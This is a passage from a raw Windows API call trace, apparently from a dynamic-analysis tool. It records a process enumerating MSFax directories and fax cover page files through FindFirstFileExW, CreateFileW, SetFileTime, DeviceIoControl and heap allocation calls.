ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.358] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.359] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.359] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.359] NtClose (Handle=0x17c) returned 0x0 [0092.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.360] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.360] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.361] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.361] GetLastError () returned 0x12 [0092.361] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.361] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.361] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.361] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.361] GetLastError () returned 0x12 [0092.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.361] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.362] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="")) returned 1 [0092.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.362] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.362] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.363] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.363] NtClose (Handle=0x15c) returned 0x0 [0092.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0092.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.365] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.365] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.365] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.365] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.365] GetLastError () returned 0x12 [0092.365] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.365] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.365] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.365] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.366] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.366] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.367] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.367] NtClose (Handle=0x15c) returned 0x0 [0092.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.369] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0092.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1 [0092.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e670 [0092.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8bb8 [0092.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e778 [0092.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.371] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1 [0092.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8bd8 [0092.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e880 [0092.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.374] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1 [0092.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8bf8 [0092.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e988 [0092.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.376] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1 [0092.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8c18 [0092.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ea90 [0092.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0 [0092.378] GetLastError () returned 0x12 [0092.378] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.378] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1 [0092.378] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0 [0092.378] GetLastError () returned 0x12 [0092.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.379] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e670) returned 1 [0092.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.379] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.379] GetLastError () returned 0x12 [0092.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.379] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0092.380] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, 